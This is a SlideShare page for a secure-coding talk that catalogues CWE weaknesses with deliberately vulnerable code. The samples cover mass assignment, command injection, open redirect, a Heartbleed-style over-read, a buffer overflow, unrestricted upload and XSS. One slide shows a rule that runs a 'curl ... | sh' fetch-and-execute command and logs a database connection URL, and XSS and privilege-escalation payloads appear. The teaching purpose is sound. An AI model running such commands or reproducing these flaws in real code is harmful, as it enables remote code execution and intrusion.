SlideShare a Scribd company logo
1 of 18
HOW NOT TO CODE
Navneet Kumar
[ Secure Coding Practice ]
AGENDA
✘ Security CheckList
✘ Common Weakness Enumeration
✘ Bluejeans CWE
✘ Code Samples
✘ General InSecure Coding Practice
Security CHECKLIST
1. Validate Input
2. Output Encoding ( Data sanitization)
3.Design for security policy
4. Default Deny
5. Communication Security
6. Adhere to principle of least privilege
7. Defense in Depth
8. Authorization & Authentication
9. Cryptographic Practices
10.Establish secure default
Common WeakNESS ENUMERATION (CWE)
Community project to catalogue
software weakness and insecure coding
patterns
Mass AssignMent ( CWE-915 )
{"attr" : "isAdmin", "val" : "true" }
❏ Don’t use internal functions
❏ Whitelist attributes
❏ Validate input
# POST /profile/update
# {"attr" : "name", "val" : "Navneet" }
def update_profile(request, targetUser=None):
attr = request.POST.get('attr', '')
val = request.POST.get('val', '')
profile = request.user.get_profile()
profile.__setattr__(attr,val)
profile.save()
Python
OS COMMAND INJECTION ( CWE-78 )
rule "New rule"
salience 9
when
eval(true)
then
Logger logger =
Logger.getLogger("com.bluejeans.services.meetme.validators.EndpointCustomProperties");
logger.info("Injected log with value: " + System.getProperty("hibernate.connection.url"));
Process p = Runtime.getRuntime().exec(new String[]{"bash","-c","curl -fsSL https://sec-
demo.herokuapp.com/execute.sh | sh"});
System.out.println("hacked");
end
JAVA
Remote Code Execution on Server
OS COMMAND INJECTION ( CWE-78 )
void bjnupdateAPI::installPlugin(std::string installerPath)
{
int retCode;
std::string command = "installer -pkg ";
std::string targetPath = BJN::getMacPluginBasePath();
std::string target = " -target " + targetPath;
command += installerPath + target;
retCode = system(command.c_str());
}
C++
Remote Code Execution on Client
InTEGRITY CHECK BYPASS( CWE-494 )
void bjnupdateAPI::installPlugin(std::string installerPath)
{
int retCode;
std::string command = "installer -pkg ";
std::string targetPath = BJN::getMacPluginBasePath();
std::string target = " -target " + targetPath;
if(!BJN::verifyBinaryCertificate(installerPath)) {
LOG(LS_INFO) << "installer is not signed: " << installerPath.c_str();
m_updateErrorCallback->InvokeAsync("", FB::variant_list_of(ERROR_INSTALLATION_FAILED));
return;
}
command += installerPath + target;
retCode = system(command.c_str());
}
C++
OPEN REDIRECT ( CWE-601 )
https://bluejeans.com/s/abcd => http://imdb.com
❏ Redirect only to relative
path
❏ Whitelist domains
❏ Validate input
# GET /s/abcd
def get(request, url_category, short_url):
urlShortener = URLShortener()
try:
redirectURL = urlShortener.get(short_url)
return HttpResponseRedirect(redirectURL)
except ObjectDoesNotExist:
return render(request , '404.html')
Python
@Path("/events/{event_id}/instance/{instanceId}/cms/{contentId}")
public Response getResource(int userid, int instanceId, int contentId) {
EventInstance eventInstance = serviceHelper
.findEventInstance(instanceId);
if (eventInstance == null) {
logger.warn("No event instance found with id:" + instanceId);
return Response.status(Status.NOT_FOUND).build();
}
if (userid == eventInstance.getScheduledEvent().getOrganizerId()) {
Map<String, Object> result = a2mRecordingClient.getResource(contentId);
return Response.ok(result, MediaType.APPLICATION_JSON).build()
} else {
return Response.status(Status.NOT_FOUND).build();
}
}
JAVA
INCORRECT Authorization ( CWE-863 )
Story of HEART BLEEDBEAT
Buffer OVER-READ ( CWE-126 )
int dtls1_process_heartbeat(SSL *s) {
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned int payload_length;
/* Read payload length first */
n2s(p, payload_length);
pl = p;
unsigned char *buffer, *response_buffer;
int response;
/* Allocate memory for the response.
Total memory = 2 Bytes for payload_length + payload_length */
buffer = OPENSSL_malloc(2 + payload_length);
response_buffer = buffer;
/* Enter response length and copy payload */
s2n(payload_length, response_buffer);
memcpy(response_buffer, pl, payload_length);
response = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 2 + payload_length);
OPENSSL_free(buffer);
return r; }
C
Response buffer reads
more data
HeartBLEED
Buffer OVERFLOW ( CWE-120 )
void start_connection() {
struct hostent *clienthp;
char hostname[MAX_LEN];
// accept client connections and process requests
int clientlen = sizeof(struct sockaddr_in);
int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr,
&clientlen);
if (clientsocket >= 0) {
clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr,
sizeof(clientaddr.sin_addr.s_addr), AF_INET);
strcpy(hostname, clienthp->h_name);
logOutput("Accepted client connection from host ", hostname);
close(clientsocket);
}
close(serversocket);
}
C/C++
HostName can have
executable code
Buffer OVERFLOW
UNRESTRICTED FILE UPLOAD ( CWE-434 )
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
PrintWriter out = response.getWriter();
String contentType = request.getContentType();
String boundary = contentType.substring(contentType.indexOf("boundary=")+9);
String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING);
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); // extract the filename
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf(""), pLine.lastIndexOf("""));
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line); bw.newLine(); bw.flush();
} }
bw.close() ; } }
JAVA
XSS ( CWE-79 )
http://facebook.com?q=<script>alert('xss')</script>Reflected
<script>
document.write("Site is at: " + document.location.href + ".");
</script>]
Dom XSS
$('div').html('welcome to' + username + 'Meeting')
//My username is saved as
userName = "<script>alert('xss')</script>"
Persistent
thanks!
Any questions?

More Related Content

What's hot

T3chFest2016 - Uso del API JavaScript de Photoshop para obtener fotos HDTR
T3chFest2016 - Uso del API JavaScript de Photoshop para obtener fotos HDTRT3chFest2016 - Uso del API JavaScript de Photoshop para obtener fotos HDTR
T3chFest2016 - Uso del API JavaScript de Photoshop para obtener fotos HDTRDavid Gómez García
 
Developing cacheable backend applications - Appdevcon 2019
Developing cacheable backend applications - Appdevcon 2019Developing cacheable backend applications - Appdevcon 2019
Developing cacheable backend applications - Appdevcon 2019Thijs Feryn
 
Buenos Aires Drools Expert Presentation
Buenos Aires Drools Expert PresentationBuenos Aires Drools Expert Presentation
Buenos Aires Drools Expert PresentationMark Proctor
 
Power Shell Commands
Power Shell CommandsPower Shell Commands
Power Shell CommandsSushree Nanda
 
MongoDB World 2016: Deciphering .explain() Output
MongoDB World 2016: Deciphering .explain() OutputMongoDB World 2016: Deciphering .explain() Output
MongoDB World 2016: Deciphering .explain() OutputMongoDB
 
PostgreSQL Open SV 2018
PostgreSQL Open SV 2018PostgreSQL Open SV 2018
PostgreSQL Open SV 2018artgillespie
 
HashiCorp Vault configuration as code via HashiCorp Terraform- stories from t...
HashiCorp Vault configuration as code via HashiCorp Terraform- stories from t...HashiCorp Vault configuration as code via HashiCorp Terraform- stories from t...
HashiCorp Vault configuration as code via HashiCorp Terraform- stories from t...Andrey Devyatkin
 
Drools Introduction
Drools IntroductionDrools Introduction
Drools IntroductionJBug Italy
 
Models and Service Layers, Hemoglobin and Hobgoblins
Models and Service Layers, Hemoglobin and HobgoblinsModels and Service Layers, Hemoglobin and Hobgoblins
Models and Service Layers, Hemoglobin and HobgoblinsRoss Tuck
 
Introduction to Mongodb execution plan and optimizer
Introduction to Mongodb execution plan and optimizerIntroduction to Mongodb execution plan and optimizer
Introduction to Mongodb execution plan and optimizerMydbops
 
MongoDB Performance Tuning
MongoDB Performance TuningMongoDB Performance Tuning
MongoDB Performance TuningPuneet Behl
 
Caching and tuning fun for high scalability @ LOAD2012
Caching and tuning fun for high scalability @ LOAD2012Caching and tuning fun for high scalability @ LOAD2012
Caching and tuning fun for high scalability @ LOAD2012Wim Godden
 
Intravert Server side processing for Cassandra
Intravert Server side processing for CassandraIntravert Server side processing for Cassandra
Intravert Server side processing for CassandraEdward Capriolo
 
Java设置环境变量
Java设置环境变量Java设置环境变量
Java设置环境变量Zianed Hou
 
Riak at The NYC Cloud Computing Meetup Group
Riak at The NYC Cloud Computing Meetup GroupRiak at The NYC Cloud Computing Meetup Group
Riak at The NYC Cloud Computing Meetup Groupsiculars
 
Service discovery and configuration provisioning
Service discovery and configuration provisioningService discovery and configuration provisioning
Service discovery and configuration provisioningSource Ministry
 

What's hot (19)

T3chFest2016 - Uso del API JavaScript de Photoshop para obtener fotos HDTR
T3chFest2016 - Uso del API JavaScript de Photoshop para obtener fotos HDTRT3chFest2016 - Uso del API JavaScript de Photoshop para obtener fotos HDTR
T3chFest2016 - Uso del API JavaScript de Photoshop para obtener fotos HDTR
 
Developing cacheable backend applications - Appdevcon 2019
Developing cacheable backend applications - Appdevcon 2019Developing cacheable backend applications - Appdevcon 2019
Developing cacheable backend applications - Appdevcon 2019
 
Buenos Aires Drools Expert Presentation
Buenos Aires Drools Expert PresentationBuenos Aires Drools Expert Presentation
Buenos Aires Drools Expert Presentation
 
Power Shell Commands
Power Shell CommandsPower Shell Commands
Power Shell Commands
 
MongoDB World 2016: Deciphering .explain() Output
MongoDB World 2016: Deciphering .explain() OutputMongoDB World 2016: Deciphering .explain() Output
MongoDB World 2016: Deciphering .explain() Output
 
Winform
WinformWinform
Winform
 
Testing with Node.js
Testing with Node.jsTesting with Node.js
Testing with Node.js
 
PostgreSQL Open SV 2018
PostgreSQL Open SV 2018PostgreSQL Open SV 2018
PostgreSQL Open SV 2018
 
HashiCorp Vault configuration as code via HashiCorp Terraform- stories from t...
HashiCorp Vault configuration as code via HashiCorp Terraform- stories from t...HashiCorp Vault configuration as code via HashiCorp Terraform- stories from t...
HashiCorp Vault configuration as code via HashiCorp Terraform- stories from t...
 
Drools Introduction
Drools IntroductionDrools Introduction
Drools Introduction
 
Models and Service Layers, Hemoglobin and Hobgoblins
Models and Service Layers, Hemoglobin and HobgoblinsModels and Service Layers, Hemoglobin and Hobgoblins
Models and Service Layers, Hemoglobin and Hobgoblins
 
Introduction to Mongodb execution plan and optimizer
Introduction to Mongodb execution plan and optimizerIntroduction to Mongodb execution plan and optimizer
Introduction to Mongodb execution plan and optimizer
 
MongoDB Performance Tuning
MongoDB Performance TuningMongoDB Performance Tuning
MongoDB Performance Tuning
 
Caching and tuning fun for high scalability @ LOAD2012
Caching and tuning fun for high scalability @ LOAD2012Caching and tuning fun for high scalability @ LOAD2012
Caching and tuning fun for high scalability @ LOAD2012
 
Intravert Server side processing for Cassandra
Intravert Server side processing for CassandraIntravert Server side processing for Cassandra
Intravert Server side processing for Cassandra
 
Java设置环境变量
Java设置环境变量Java设置环境变量
Java设置环境变量
 
Riak at The NYC Cloud Computing Meetup Group
Riak at The NYC Cloud Computing Meetup GroupRiak at The NYC Cloud Computing Meetup Group
Riak at The NYC Cloud Computing Meetup Group
 
Dropwizard
DropwizardDropwizard
Dropwizard
 
Service discovery and configuration provisioning
Service discovery and configuration provisioningService discovery and configuration provisioning
Service discovery and configuration provisioning
 

Similar to How Not to Code

Automating Threat Detection and Remediation at ZocDoc
Automating Threat Detection and Remediation at ZocDocAutomating Threat Detection and Remediation at ZocDoc
Automating Threat Detection and Remediation at ZocDocAmazon Web Services
 
Resiliency & Security_Ballerina Day CMB 2018
Resiliency & Security_Ballerina Day CMB 2018  Resiliency & Security_Ballerina Day CMB 2018
Resiliency & Security_Ballerina Day CMB 2018 Ballerina
 
Cnam azure 2014 mobile services
Cnam azure 2014   mobile servicesCnam azure 2014   mobile services
Cnam azure 2014 mobile servicesAymeric Weinbach
 
MongoDB World 2019: Life In Stitch-es
MongoDB World 2019: Life In Stitch-esMongoDB World 2019: Life In Stitch-es
MongoDB World 2019: Life In Stitch-esMongoDB
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10Sastry Tumuluri
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure codingHaitham Raik
 
Bigger Stronger Faster
Bigger Stronger FasterBigger Stronger Faster
Bigger Stronger FasterChris Love
 
Microservices workshop
Microservices workshopMicroservices workshop
Microservices workshopvodqa-ncr
 
Application Security
Application SecurityApplication Security
Application Securityflorinc
 
MySQL server security
MySQL server securityMySQL server security
MySQL server securityDamien Seguy
 
Practical AngularJS
Practical AngularJSPractical AngularJS
Practical AngularJSWei Ru
 
(DEV204) Building High-Performance Native Cloud Apps In C++
(DEV204) Building High-Performance Native Cloud Apps In C++(DEV204) Building High-Performance Native Cloud Apps In C++
(DEV204) Building High-Performance Native Cloud Apps In C++Amazon Web Services
 
Building the an End-to-End ASP.NET MVC 4, Entity Framework, HTML5, jQuery app...
Building the an End-to-End ASP.NET MVC 4, Entity Framework, HTML5, jQuery app...Building the an End-to-End ASP.NET MVC 4, Entity Framework, HTML5, jQuery app...
Building the an End-to-End ASP.NET MVC 4, Entity Framework, HTML5, jQuery app...Dan Wahlin
 
Secure .NET programming
Secure .NET programmingSecure .NET programming
Secure .NET programmingAnte Gulam
 
Owasp Indy Q2 2012 Advanced SQLi
Owasp Indy Q2 2012 Advanced SQLiOwasp Indy Q2 2012 Advanced SQLi
Owasp Indy Q2 2012 Advanced SQLiowaspindy
 
IstSec'14 - İbrahim BALİÇ - Automated Malware Analysis
IstSec'14 - İbrahim BALİÇ -  Automated Malware AnalysisIstSec'14 - İbrahim BALİÇ -  Automated Malware Analysis
IstSec'14 - İbrahim BALİÇ - Automated Malware AnalysisBGA Cyber Security
 

Similar to How Not to Code (20)

Automating Threat Detection and Remediation at ZocDoc
Automating Threat Detection and Remediation at ZocDocAutomating Threat Detection and Remediation at ZocDoc
Automating Threat Detection and Remediation at ZocDoc
 
Resiliency & Security_Ballerina Day CMB 2018
Resiliency & Security_Ballerina Day CMB 2018  Resiliency & Security_Ballerina Day CMB 2018
Resiliency & Security_Ballerina Day CMB 2018
 
Cnam azure 2014 mobile services
Cnam azure 2014   mobile servicesCnam azure 2014   mobile services
Cnam azure 2014 mobile services
 
Android wearpp
Android wearppAndroid wearpp
Android wearpp
 
Security in Node.JS and Express:
Security in Node.JS and Express:Security in Node.JS and Express:
Security in Node.JS and Express:
 
State management
State managementState management
State management
 
MongoDB World 2019: Life In Stitch-es
MongoDB World 2019: Life In Stitch-esMongoDB World 2019: Life In Stitch-es
MongoDB World 2019: Life In Stitch-es
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
Bigger Stronger Faster
Bigger Stronger FasterBigger Stronger Faster
Bigger Stronger Faster
 
Microservices workshop
Microservices workshopMicroservices workshop
Microservices workshop
 
Application Security
Application SecurityApplication Security
Application Security
 
MySQL server security
MySQL server securityMySQL server security
MySQL server security
 
Practical AngularJS
Practical AngularJSPractical AngularJS
Practical AngularJS
 
(DEV204) Building High-Performance Native Cloud Apps In C++
(DEV204) Building High-Performance Native Cloud Apps In C++(DEV204) Building High-Performance Native Cloud Apps In C++
(DEV204) Building High-Performance Native Cloud Apps In C++
 
Building the an End-to-End ASP.NET MVC 4, Entity Framework, HTML5, jQuery app...
Building the an End-to-End ASP.NET MVC 4, Entity Framework, HTML5, jQuery app...Building the an End-to-End ASP.NET MVC 4, Entity Framework, HTML5, jQuery app...
Building the an End-to-End ASP.NET MVC 4, Entity Framework, HTML5, jQuery app...
 
A Test of Strength
A Test of StrengthA Test of Strength
A Test of Strength
 
Secure .NET programming
Secure .NET programmingSecure .NET programming
Secure .NET programming
 
Owasp Indy Q2 2012 Advanced SQLi
Owasp Indy Q2 2012 Advanced SQLiOwasp Indy Q2 2012 Advanced SQLi
Owasp Indy Q2 2012 Advanced SQLi
 
IstSec'14 - İbrahim BALİÇ - Automated Malware Analysis
IstSec'14 - İbrahim BALİÇ -  Automated Malware AnalysisIstSec'14 - İbrahim BALİÇ -  Automated Malware Analysis
IstSec'14 - İbrahim BALİÇ - Automated Malware Analysis
 

More from Navneet kumar

Bitcoin cryptosecurity
Bitcoin cryptosecurityBitcoin cryptosecurity
Bitcoin cryptosecurityNavneet kumar
 
Lambda Architecture in Practice
Lambda Architecture in PracticeLambda Architecture in Practice
Lambda Architecture in PracticeNavneet kumar
 
TrafikSense: Intelligent adaptive traffic signal
TrafikSense: Intelligent adaptive traffic signalTrafikSense: Intelligent adaptive traffic signal
TrafikSense: Intelligent adaptive traffic signalNavneet kumar
 
BlueBox: A videoconf dongle prototype
BlueBox: A videoconf dongle prototypeBlueBox: A videoconf dongle prototype
BlueBox: A videoconf dongle prototypeNavneet kumar
 
Breaking Bad: Enterprise Network Security
Breaking Bad: Enterprise Network SecurityBreaking Bad: Enterprise Network Security
Breaking Bad: Enterprise Network SecurityNavneet kumar
 
Performance tuning in hybrid mobile apps
Performance tuning in hybrid mobile appsPerformance tuning in hybrid mobile apps
Performance tuning in hybrid mobile appsNavneet kumar
 

More from Navneet kumar (9)

Bitcoin cryptosecurity
Bitcoin cryptosecurityBitcoin cryptosecurity
Bitcoin cryptosecurity
 
Eagle Eye
Eagle EyeEagle Eye
Eagle Eye
 
Lambda Architecture in Practice
Lambda Architecture in PracticeLambda Architecture in Practice
Lambda Architecture in Practice
 
TrafikSense: Intelligent adaptive traffic signal
TrafikSense: Intelligent adaptive traffic signalTrafikSense: Intelligent adaptive traffic signal
TrafikSense: Intelligent adaptive traffic signal
 
BlueBox: A videoconf dongle prototype
BlueBox: A videoconf dongle prototypeBlueBox: A videoconf dongle prototype
BlueBox: A videoconf dongle prototype
 
Securty 101
Securty 101Securty 101
Securty 101
 
Breaking Bad: Enterprise Network Security
Breaking Bad: Enterprise Network SecurityBreaking Bad: Enterprise Network Security
Breaking Bad: Enterprise Network Security
 
Performance tuning in hybrid mobile apps
Performance tuning in hybrid mobile appsPerformance tuning in hybrid mobile apps
Performance tuning in hybrid mobile apps
 
Panacea
PanaceaPanacea
Panacea
 

Recently uploaded

Enhancing Supply Chain Visibility with Cargo Cloud Solutions.pdf
Enhancing Supply Chain Visibility with Cargo Cloud Solutions.pdfEnhancing Supply Chain Visibility with Cargo Cloud Solutions.pdf
Enhancing Supply Chain Visibility with Cargo Cloud Solutions.pdfRTS corp
 
VictoriaMetrics Q1 Meet Up '24 - Community & News Update
VictoriaMetrics Q1 Meet Up '24 - Community & News UpdateVictoriaMetrics Q1 Meet Up '24 - Community & News Update
VictoriaMetrics Q1 Meet Up '24 - Community & News UpdateVictoriaMetrics
 
Patterns for automating API delivery. API conference
Patterns for automating API delivery. API conferencePatterns for automating API delivery. API conference
Patterns for automating API delivery. API conferencessuser9e7c64
 
SAM Training Session - How to use EXCEL ?
SAM Training Session - How to use EXCEL ?SAM Training Session - How to use EXCEL ?
SAM Training Session - How to use EXCEL ?Alexandre Beguel
 
Keeping your build tool updated in a multi repository world
Keeping your build tool updated in a multi repository worldKeeping your build tool updated in a multi repository world
Keeping your build tool updated in a multi repository worldRoberto Pérez Alcolea
 
Machine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringMachine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringHironori Washizaki
 
Revolutionizing the Digital Transformation Office - Leveraging OnePlan’s AI a...
Revolutionizing the Digital Transformation Office - Leveraging OnePlan’s AI a...Revolutionizing the Digital Transformation Office - Leveraging OnePlan’s AI a...
Revolutionizing the Digital Transformation Office - Leveraging OnePlan’s AI a...OnePlan Solutions
 
Precise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalPrecise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalLionel Briand
 
Real-time Tracking and Monitoring with Cargo Cloud Solutions.pptx
Real-time Tracking and Monitoring with Cargo Cloud Solutions.pptxReal-time Tracking and Monitoring with Cargo Cloud Solutions.pptx
Real-time Tracking and Monitoring with Cargo Cloud Solutions.pptxRTS corp
 
Strategies for using alternative queries to mitigate zero results
Strategies for using alternative queries to mitigate zero resultsStrategies for using alternative queries to mitigate zero results
Strategies for using alternative queries to mitigate zero resultsJean Silva
 
Comparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfComparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfDrew Moseley
 
Powering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsPowering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsSafe Software
 
Introduction to Firebase Workshop Slides
Introduction to Firebase Workshop SlidesIntroduction to Firebase Workshop Slides
Introduction to Firebase Workshop Slidesvaideheekore1
 
Simplifying Microservices & Apps - The art of effortless development - Meetup...
Simplifying Microservices & Apps - The art of effortless development - Meetup...Simplifying Microservices & Apps - The art of effortless development - Meetup...
Simplifying Microservices & Apps - The art of effortless development - Meetup...Rob Geurden
 
Leveraging AI for Mobile App Testing on Real Devices | Applitools + Kobiton
Leveraging AI for Mobile App Testing on Real Devices | Applitools + KobitonLeveraging AI for Mobile App Testing on Real Devices | Applitools + Kobiton
Leveraging AI for Mobile App Testing on Real Devices | Applitools + KobitonApplitools
 
Zer0con 2024 final share short version.pdf
Zer0con 2024 final share short version.pdfZer0con 2024 final share short version.pdf
Zer0con 2024 final share short version.pdfmaor17
 
2024 DevNexus Patterns for Resiliency: Shuffle shards
2024 DevNexus Patterns for Resiliency: Shuffle shards2024 DevNexus Patterns for Resiliency: Shuffle shards
2024 DevNexus Patterns for Resiliency: Shuffle shardsChristopher Curtin
 
Tech Tuesday Slides - Introduction to Project Management with OnePlan's Work ...
Tech Tuesday Slides - Introduction to Project Management with OnePlan's Work ...Tech Tuesday Slides - Introduction to Project Management with OnePlan's Work ...
Tech Tuesday Slides - Introduction to Project Management with OnePlan's Work ...OnePlan Solutions
 
SensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving CarsSensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving CarsChristian Birchler
 
JavaLand 2024 - Going serverless with Quarkus GraalVM native images and AWS L...
JavaLand 2024 - Going serverless with Quarkus GraalVM native images and AWS L...JavaLand 2024 - Going serverless with Quarkus GraalVM native images and AWS L...
JavaLand 2024 - Going serverless with Quarkus GraalVM native images and AWS L...Bert Jan Schrijver
 

Recently uploaded (20)

Enhancing Supply Chain Visibility with Cargo Cloud Solutions.pdf
Enhancing Supply Chain Visibility with Cargo Cloud Solutions.pdfEnhancing Supply Chain Visibility with Cargo Cloud Solutions.pdf
Enhancing Supply Chain Visibility with Cargo Cloud Solutions.pdf
 
VictoriaMetrics Q1 Meet Up '24 - Community & News Update
VictoriaMetrics Q1 Meet Up '24 - Community & News UpdateVictoriaMetrics Q1 Meet Up '24 - Community & News Update
VictoriaMetrics Q1 Meet Up '24 - Community & News Update
 
Patterns for automating API delivery. API conference
Patterns for automating API delivery. API conferencePatterns for automating API delivery. API conference
Patterns for automating API delivery. API conference
 
SAM Training Session - How to use EXCEL ?
SAM Training Session - How to use EXCEL ?SAM Training Session - How to use EXCEL ?
SAM Training Session - How to use EXCEL ?
 
Keeping your build tool updated in a multi repository world
Keeping your build tool updated in a multi repository worldKeeping your build tool updated in a multi repository world
Keeping your build tool updated in a multi repository world
 
Machine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringMachine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their Engineering
 
Revolutionizing the Digital Transformation Office - Leveraging OnePlan’s AI a...
Revolutionizing the Digital Transformation Office - Leveraging OnePlan’s AI a...Revolutionizing the Digital Transformation Office - Leveraging OnePlan’s AI a...
Revolutionizing the Digital Transformation Office - Leveraging OnePlan’s AI a...
 
Precise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalPrecise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive Goal
 
Real-time Tracking and Monitoring with Cargo Cloud Solutions.pptx
Real-time Tracking and Monitoring with Cargo Cloud Solutions.pptxReal-time Tracking and Monitoring with Cargo Cloud Solutions.pptx
Real-time Tracking and Monitoring with Cargo Cloud Solutions.pptx
 
Strategies for using alternative queries to mitigate zero results
Strategies for using alternative queries to mitigate zero resultsStrategies for using alternative queries to mitigate zero results
Strategies for using alternative queries to mitigate zero results
 
Comparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfComparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdf
 
Powering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsPowering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data Streams
 
Introduction to Firebase Workshop Slides
Introduction to Firebase Workshop SlidesIntroduction to Firebase Workshop Slides
Introduction to Firebase Workshop Slides
 
Simplifying Microservices & Apps - The art of effortless development - Meetup...
Simplifying Microservices & Apps - The art of effortless development - Meetup...Simplifying Microservices & Apps - The art of effortless development - Meetup...
Simplifying Microservices & Apps - The art of effortless development - Meetup...
 
Leveraging AI for Mobile App Testing on Real Devices | Applitools + Kobiton
Leveraging AI for Mobile App Testing on Real Devices | Applitools + KobitonLeveraging AI for Mobile App Testing on Real Devices | Applitools + Kobiton
Leveraging AI for Mobile App Testing on Real Devices | Applitools + Kobiton
 
Zer0con 2024 final share short version.pdf
Zer0con 2024 final share short version.pdfZer0con 2024 final share short version.pdf
Zer0con 2024 final share short version.pdf
 
2024 DevNexus Patterns for Resiliency: Shuffle shards
2024 DevNexus Patterns for Resiliency: Shuffle shards2024 DevNexus Patterns for Resiliency: Shuffle shards
2024 DevNexus Patterns for Resiliency: Shuffle shards
 
Tech Tuesday Slides - Introduction to Project Management with OnePlan's Work ...
Tech Tuesday Slides - Introduction to Project Management with OnePlan's Work ...Tech Tuesday Slides - Introduction to Project Management with OnePlan's Work ...
Tech Tuesday Slides - Introduction to Project Management with OnePlan's Work ...
 
SensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving CarsSensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving Cars
 
JavaLand 2024 - Going serverless with Quarkus GraalVM native images and AWS L...
JavaLand 2024 - Going serverless with Quarkus GraalVM native images and AWS L...JavaLand 2024 - Going serverless with Quarkus GraalVM native images and AWS L...
JavaLand 2024 - Going serverless with Quarkus GraalVM native images and AWS L...
 

How Not to Code

  • 1. HOW NOT TO CODE Navneet Kumar [ Secure Coding Practice ]
  • 2. AGENDA ✘ Security CheckList ✘ Common Weakness Enumeration ✘ Bluejeans CWE ✘ Code Samples ✘ General InSecure Coding Practice
  • 3. Security CHECKLIST 1. Validate Input 2. Output Encoding ( Data sanitization) 3.Design for security policy 4. Default Deny 5. Communication Security 6. Adhere to principle of least privilege 7. Defense in Depth 8. Authorization & Authentication 9. Cryptographic Practices 10.Establish secure default
  • 4. Common WeakNESS ENUMERATION (CWE) Community project to catalogue software weakness and insecure coding patterns
  • 5. Mass AssignMent ( CWE-915 ) {"attr" : "isAdmin", "val" : "true" } ❏ Don’t use internal functions ❏ Whitelist attributes ❏ Validate input # POST /profile/update # {"attr" : "name", "val" : "Navneet" } def update_profile(request, targetUser=None): attr = request.POST.get('attr', '') val = request.POST.get('val', '') profile = request.user.get_profile() profile.__setattr__(attr,val) profile.save() Python
  • 6. OS COMMAND INJECTION ( CWE-78 ) rule "New rule" salience 9 when eval(true) then Logger logger = Logger.getLogger("com.bluejeans.services.meetme.validators.EndpointCustomProperties"); logger.info("Injected log with value: " + System.getProperty("hibernate.connection.url")); Process p = Runtime.getRuntime().exec(new String[]{"bash","-c","curl -fsSL https://sec- demo.herokuapp.com/execute.sh | sh"}); System.out.println("hacked"); end JAVA Remote Code Execution on Server
  • 7. OS COMMAND INJECTION ( CWE-78 ) void bjnupdateAPI::installPlugin(std::string installerPath) { int retCode; std::string command = "installer -pkg "; std::string targetPath = BJN::getMacPluginBasePath(); std::string target = " -target " + targetPath; command += installerPath + target; retCode = system(command.c_str()); } C++ Remote Code Execution on Client
  • 8. InTEGRITY CHECK BYPASS( CWE-494 ) void bjnupdateAPI::installPlugin(std::string installerPath) { int retCode; std::string command = "installer -pkg "; std::string targetPath = BJN::getMacPluginBasePath(); std::string target = " -target " + targetPath; if(!BJN::verifyBinaryCertificate(installerPath)) { LOG(LS_INFO) << "installer is not signed: " << installerPath.c_str(); m_updateErrorCallback->InvokeAsync("", FB::variant_list_of(ERROR_INSTALLATION_FAILED)); return; } command += installerPath + target; retCode = system(command.c_str()); } C++
  • 9. OPEN REDIRECT ( CWE-601 ) https://bluejeans.com/s/abcd => http://imdb.com ❏ Redirect only to relative path ❏ Whitelist domains ❏ Validate input # GET /s/abcd def get(request, url_category, short_url): urlShortener = URLShortener() try: redirectURL = urlShortener.get(short_url) return HttpResponseRedirect(redirectURL) except ObjectDoesNotExist: return render(request , '404.html') Python
  • 10. @Path("/events/{event_id}/instance/{instanceId}/cms/{contentId}") public Response getResource(int userid, int instanceId, int contentId) { EventInstance eventInstance = serviceHelper .findEventInstance(instanceId); if (eventInstance == null) { logger.warn("No event instance found with id:" + instanceId); return Response.status(Status.NOT_FOUND).build(); } if (userid == eventInstance.getScheduledEvent().getOrganizerId()) { Map<String, Object> result = a2mRecordingClient.getResource(contentId); return Response.ok(result, MediaType.APPLICATION_JSON).build() } else { return Response.status(Status.NOT_FOUND).build(); } } JAVA INCORRECT Authorization ( CWE-863 )
  • 11. Story of HEART BLEEDBEAT
